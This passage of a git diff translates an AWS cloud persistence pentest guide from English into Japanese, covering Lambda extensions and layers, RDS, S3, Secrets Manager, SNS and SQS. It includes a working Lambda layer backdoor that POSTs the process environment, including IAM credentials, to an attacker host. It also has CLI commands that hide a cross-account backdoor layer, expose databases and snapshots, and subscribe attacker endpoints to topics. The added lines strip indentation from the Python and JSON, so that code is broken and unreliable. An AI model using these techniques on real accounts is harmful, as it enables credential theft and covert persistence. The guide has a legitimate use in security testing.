is created lambda generates a new user key and send it to the attacker. -- Every time a new role is created lambda gives assume role permissions to compromised users. -- Every time new cloudtrail logs are generated, delete/alter them +- 新しいユーザーが作成されるたびに、ラムダは新しいユーザーキーを生成し、攻撃者に送信します。 +- 新しいロールが作成されるたびに、ラムダは侵害されたユーザーにロールの引き受け権限を付与します。 +- 新しいCloudTrailログが生成されるたびに、それらを削除/変更します。 {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 71655ada0..b3bb8fa3c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -1,46 +1,42 @@ -# AWS - Abusing Lambda Extensions +# AWS - Lambda拡張の悪用 {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Extensions +## Lambda拡張 -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Lambda拡張は、さまざまな**監視、可視性、セキュリティ、およびガバナンスツール**と統合することで関数を強化します。これらの拡張は、[Lambdaレイヤーを使用した.zipアーカイブ](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)を介して追加されるか、[コンテナイメージのデプロイメントに含まれる](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/)もので、**内部**と**外部**の2つのモードで動作します。 -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. +- **内部拡張**は、ランタイムプロセスと統合し、**言語固有の環境変数**や**ラッパースクリプト**を使用してその起動を操作します。このカスタマイズは、**Java Correto 8および11、Node.js 10および12、.NET Core 3.1**を含むさまざまなランタイムに適用されます。 +- **外部拡張**は、別のプロセスとして実行され、Lambda関数のライフサイクルに合わせて動作を維持します。これらは、**Node.js 10および12、Python 3.7および3.8、Ruby 2.5および2.7、Java Corretto 8および11、.NET Core 3.1**、および**カスタムランタイム**と互換性があります。 -For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). +[**Lambda拡張の動作方法についての詳細はドキュメントを確認してください**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)。 -### External Extension for Persistence, Stealing Requests & modifying Requests +### 永続性のための外部拡張、リクエストの盗難およびリクエストの変更 -This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) +これは、この投稿で提案された技術の要約です: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.** +Lambdaランタイム環境のデフォルトのLinuxカーネルは、“**process_vm_readv**”および“**process_vm_writev**”システムコールでコンパイルされていることがわかりました。そして、すべてのプロセスは同じユーザーIDで実行され、新しいプロセスも外部拡張のために作成されます。**これは、外部拡張が設計上、Rapidのヒープメモリに対して完全な読み取りおよび書き込みアクセスを持つことを意味します。** -Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request. +さらに、Lambda拡張は**呼び出しイベントにサブスクライブする能力**を持っていますが、AWSはこれらの拡張に生データを公開しません。これにより、**拡張がHTTPリクエストを介して送信される機密情報にアクセスできないことが保証されます。** -The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid. +Init (Rapid)プロセスは、[http://127.0.0.1:9001](http://127.0.0.1:9001/)でのすべてのAPIリクエストを監視し、Lambda拡張は初期化され、任意のランタイムコードの実行前に実行されますが、Rapidの後です。

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions. +変数**`AWS_LAMBDA_RUNTIME_API`**は、**子ランタイムプロセス**および追加の拡張に対してRapid APIの**IP**アドレスと**ポート**番号を示します。 > [!WARNING] -> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number. +> **`AWS_LAMBDA_RUNTIME_API`**環境変数を私たちがアクセスできる**`port`**に変更することで、Lambdaランタイム内のすべてのアクションを傍受することが可能です（**中間者攻撃**）。これは、拡張がRapid Initと同じ特権で実行され、システムのカーネルが**プロセスメモリの変更**を許可するため、ポート番号の変更が可能になるからです。 -Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment. +**拡張が任意のランタイムコードの前に実行されるため、**環境変数を変更すると、ランタイムプロセス（例：Python、Java、Node、Ruby）の起動に影響を与えます。さらに、**私たちの後に読み込まれた拡張**は、この変数に依存しており、私たちの拡張を通じてルーティングされます。この設定により、マルウェアがセキュリティ対策やログ拡張を完全にバイパスすることが可能になるかもしれません。

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**. +ツール[**lambda-spy**](https://github.com/clearvector/lambda-spy)は、**メモリ書き込み**を実行し、Lambdaリクエストから機密情報を**盗む**ために作成され、他の**拡張**の**リクエスト**を**変更する**ことさえできます。 -## References +## 参考文献 - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) - [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index f8a5e2868..a1fa64d52 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -4,56 +4,50 @@ ## Lambda Layers -A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーには、ライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。 -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +**関数ごとに最大五つのレイヤー**を含めることが可能です。関数にレイヤーを含めると、**内容は実行環境の`/opt`**ディレクトリに抽出されます。 -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**するか、レイヤーを**公開**することを選択できます。あなたの関数が異なるアカウントが公開したレイヤーを使用する場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、関数は**レイヤーのバージョンを引き続き使用できます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。 -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、およびその他の依存関係をコンテナイメージにパッケージします。 ### Python load path -The load path that Python will use in lambda is the following: - +Pythonがlambdaで使用するロードパスは次のとおりです： ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` - -Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`** +チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリで占められています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`** > [!CAUTION] -> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation. +> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けたり、**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加**した場合、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。 -Therefore, the requisites are: +したがって、要件は次のとおりです: -- **Check libraries** that are **loaded** by the victims code -- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library. +- **被害者のコード**によって**読み込まれるライブラリ**をチェックする +- **カスタムコードを実行し、元の**ライブラリを**読み込む**ための**lambda layers**を持つ**プロキシライブラリを作成する。 -### Preloaded libraries +### プリロードされたライブラリ > [!WARNING] -> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\ -> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed. - -With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda: +> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときに**すでに読み込まれている**のです。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\ +> この永続性技術を悪用するためには、コードが実行されるときに**読み込まれていない新しいライブラリを読み込む**必要があります。 +このようなpythonコードを使えば、lambda内のpythonランタイムに**プリロードされたライブラリのリスト**を取得することが可能です: ```python import sys def lambda_handler(event, context): - return { - 'statusCode': 200, - 'body': str(sys.modules.keys()) - } +return { +'statusCode': 200, +'body': str(sys.modules.keys()) +} ``` - -And this is the **list** (check that libraries like `os` or `json` are already there) - +そして、これは**リスト**です（`os`や`json`のようなライブラリがすでに存在することを確認してください） ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` - And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) ### Lambda Layer Backdooring @@ -68,15 +62,14 @@ This file must: - Load the original csv library We can do both with: - ```python import sys from urllib import request with open("/proc/self/environ", "rb") as file: - url= "https://attacker13123344.com/" #Change this to your server - req = request.Request(url, data=file.read(), method="POST") - response = request.urlopen(req) +url= "https://attacker13123344.com/" #Change this to your server +req = request.Request(url, data=file.read(), method="POST") +response = request.urlopen(req) # Remove backdoor directory from path to load original library del_path_dir = "/".join(__file__.split("/")[:-2]) @@ -90,29 +83,27 @@ import csv as _csv sys.modules["csv"] = _csv ``` +次に、このコードをパス **`python/lib/python3.9/site-packages/__init__.py`** に含むzipを作成し、lambdaレイヤーとして追加します。 -Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer. +このコードは [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) で見つけることができます。 -You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) - -The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated: +統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**（コードの変更またはコールドlambda）、しかし、**他の技術**も以下のように統合することができます： {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -### External Layers +### 外部レイヤー -Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\ -Also note that the **max number of layers a lambda can have is 5**. +**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは、権限がなくても外部アカウントのレイヤーを使用できます。\ +また、**lambdaが持つことができるレイヤーの最大数は5です**。 -Therefore, in order to improve the versatility of this technique an attacker could: - -- Backdoor an existing layer of the user (nothing is external) -- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**. - - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda) - - The victim **won't see external layers** used with **`aws lambda list-layers`** +したがって、この技術の汎用性を向上させるために、攻撃者は次のことを行うことができます： +- ユーザーの既存のレイヤーにバックドアを仕掛ける（外部のものは何もない） +- **自分のアカウントに** **レイヤー**を**作成**し、**被害者アカウントに**そのレイヤーを使用するアクセスを**与え**、**被害者のLambdaに**その**レイヤーを**設定し、**権限を削除**します。 +- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**（lambda内でリバースシェルを取得することを除いて） +- 被害者は**`aws lambda list-layers`**を使用して**外部レイヤーを確認できません**。 ```bash # Upload backdoor layer aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" @@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen # Remove permissions aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 88b0d082a..a5c4d6bc6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -4,34 +4,30 @@ ## Lightsail -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} -### Download Instance SSH keys & DB passwords +### インスタンスのSSHキーとDBパスワードのダウンロード -They won't be changed probably so just having them is a good option for persistence +おそらく変更されないので、持っているだけで持続性のための良いオプションです。 -### Backdoor Instances +### バックドアインスタンス -An attacker could get access to the instances and backdoor them: +攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます： -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** -- Expose a port with port knocking with a backdoor +- 例えば、従来の**rootkit**を使用する +- 新しい**公開SSHキー**を追加する +- バックドアを持つポートノッキングでポートを公開する -### DNS persistence +### DNS持続性 -If domains are configured: +ドメインが設定されている場合： -- Create a subdomain pointing your IP so you will have a **subdomain takeover** -- Create **SPF** record allowing you to send **emails** from the domain -- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones +- あなたのIPを指すサブドメインを作成し、**サブドメインテイクオーバー**を行う +- ドメインから**メール**を送信できるようにする**SPF**レコードを作成する +- **メインドメインのIPを自分のものに設定し、正当なものへの**MitM**を行う {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index b7a4b8f7b..965088a61 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -4,32 +4,24 @@ ## RDS -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -### Make instance publicly accessible: `rds:ModifyDBInstance` - -An attacker with this permission can **modify an existing RDS instance to enable public accessibility**. +### インスタンスを公開アクセス可能にする: `rds:ModifyDBInstance` +この権限を持つ攻撃者は、**既存のRDSインスタンスを変更して公開アクセスを有効にすることができます**。 ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` +### DB内に管理者ユーザーを作成する -### Create an admin user inside the DB - -An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database. - -### Make snapshot public +攻撃者は**DB内にユーザーを作成する**ことができるため、マスターユーザーのパスワードが変更されても**データベースへのアクセスを失うことはありません**。 +### スナップショットを公開する ```bash aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index f2c4ce048..8add98db6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -4,26 +4,22 @@ ## S3 -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### KMS Client-Side Encryption +### KMS クライアントサイド暗号化 -When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again: +暗号化プロセスが完了すると、ユーザーは KMS API を使用して新しいキー (`aws kms generate-data-key`) を生成し、**生成された暗号化キーをファイルのメタデータ内に保存します** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys))。これにより、復号化が行われるときに再度 KMS を使用して復号化できます：
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it. +したがって、攻撃者はメタデータからこのキーを取得し、KMS (`aws kms decrypt`) を使用して復号化し、情報を暗号化するために使用されたキーを取得できます。この方法で、攻撃者は暗号化キーを持ち、そのキーが他のファイルを暗号化するために再利用されている場合、使用することができます。 -### Using S3 ACLs +### S3 ACL の使用 -Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket. +通常、バケットの ACL は無効になっていますが、十分な権限を持つ攻撃者は、それらを悪用することができます（有効な場合や攻撃者が有効にできる場合）ので、S3 バケットへのアクセスを維持できます。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md index c15f27003..7f09f6a4c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md @@ -4,54 +4,48 @@ ## Secrets Manager -For more info check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Via Resource Policies +### リソースポリシーを介して -It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**. +リソースポリシーを介して**外部アカウントに秘密へのアクセスを付与する**ことが可能です。詳細については[**Secrets Manager Privescページ**](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を確認してください。**秘密にアクセスする**には、外部アカウントも**秘密を暗号化するKMSキーへのアクセスが必要**です。 -### Via Secrets Rotate Lambda +### Secrets Rotate Lambdaを介して -To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself. - -This is how lambda code for such action could look like: +秘密を自動的に**回転させる**ために、設定された**Lambda**が呼び出されます。攻撃者が**コードを変更**できれば、直接**新しい秘密を自分に流出させる**ことができます。 +このようなアクションのためのLambdaコードは次のようになります： ```python import boto3 def rotate_secrets(event, context): - # Create a Secrets Manager client - client = boto3.client('secretsmanager') +# Create a Secrets Manager client +client = boto3.client('secretsmanager') - # Retrieve the current secret value - secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - # Rotate the secret by updating its value - new_secret_value = rotate_secret(secret_value) - client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) def rotate_secret(secret_value): - # Perform the rotation logic here, e.g., generate a new password +# Perform the rotation logic here, e.g., generate a new password - # Example: Generate a new password - new_secret_value = generate_password() +# Example: Generate a new password +new_secret_value = generate_password() - return new_secret_value +return new_secret_value def generate_password(): - # Example: Generate a random password using the secrets module - import secrets - import string - password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) - return password +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 8e97cc81c..d40f52514 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +詳細については、以下を確認してください： {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,74 +12,66 @@ For more information check: ### Persistence -When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**: - +**SNSトピック**を作成する際には、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\ +以下のポリシーは、AWS内のすべての人に**`MySNS.fifo`**というSNSトピックへの読み書きアクセスを与えます： ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__default_statement_ID", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "SNS:Publish", - "SNS:RemovePermission", - "SNS:SetTopicAttributes", - "SNS:DeleteTopic", - "SNS:ListSubscriptionsByTopic", - "SNS:GetTopicAttributes", - "SNS:AddPermission", - "SNS:Subscribe" - ], - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", - "Condition": { - "StringEquals": { - "AWS:SourceOwner": "318142138553" - } - } - }, - { - "Sid": "__console_pub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Publish", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - }, - { - "Sid": "__console_sub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Subscribe", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] } ``` - ### Create Subscribers -To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**. - -Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used. +すべてのトピックからすべてのメッセージを引き続き抽出するために、攻撃者は**すべてのトピックのためにサブスクライバーを作成する**ことができます。 +**トピックがFIFOタイプの場合**、**SQS**プロトコルを使用するサブスクライバーのみが使用できます。 ```bash aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 88f396173..2a4202b2c 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -4,40 +4,34 @@ ## SQS -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Using resource policy - -In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**: +### リソースポリシーの使用 +SQSでは、IAMポリシーで**誰が読み書きするアクセス権を持っているか**を示す必要があります。外部アカウント、ロールのARN、または**"\*"**を指定することも可能です。\ +次のポリシーは、AWS内のすべての人に**MyTestQueue**というキュー内のすべてのものへのアクセスを許可します： ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__owner_statement", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": ["SQS:*"], - "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] } ``` - > [!NOTE] -> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: 